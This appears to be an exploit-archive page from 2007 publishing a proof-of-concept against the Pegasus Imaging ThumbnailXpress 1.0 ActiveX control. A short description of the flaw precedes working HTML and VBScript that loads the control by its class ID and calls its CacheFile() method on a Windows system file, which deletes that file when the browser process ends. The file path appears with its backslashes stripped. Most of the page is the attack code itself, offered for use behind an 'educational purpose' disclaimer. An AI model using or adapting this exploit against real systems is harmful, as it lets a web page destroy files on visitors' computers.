Pegasus Imaging ThumbnailXpress 1.0 Remote Arbitrary File Deletion

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Pegasus Imaging ThumbnailXpress 1.0 Remote Arbitrary File Deletion
# Published : 2007-10-05
# Author : shinnai
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<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Pegasus Imaging ThumbnailXpress 1.0 Remote Arbitrary File Deletion</b>
 url: http://www.pegasusimaging.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 Component name: PegasusImaging.ActiveX.ThumbnailXpress1.dll
 Version: 1.0.45.0
 This control contains an insecure "CacheFile()" method that delete, once
 the process is terminated, the file passed as argument.</b>
-----------------------------------------------------------------------------
<object classid='clsid:F3379712-5D3C-4F57-92D9-09AC0657719A' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.CacheFile = "c:windowssystem_.ini"
   MsgBox "Exploit completed."
 End Sub
</script>
</span></span>
</code></pre>

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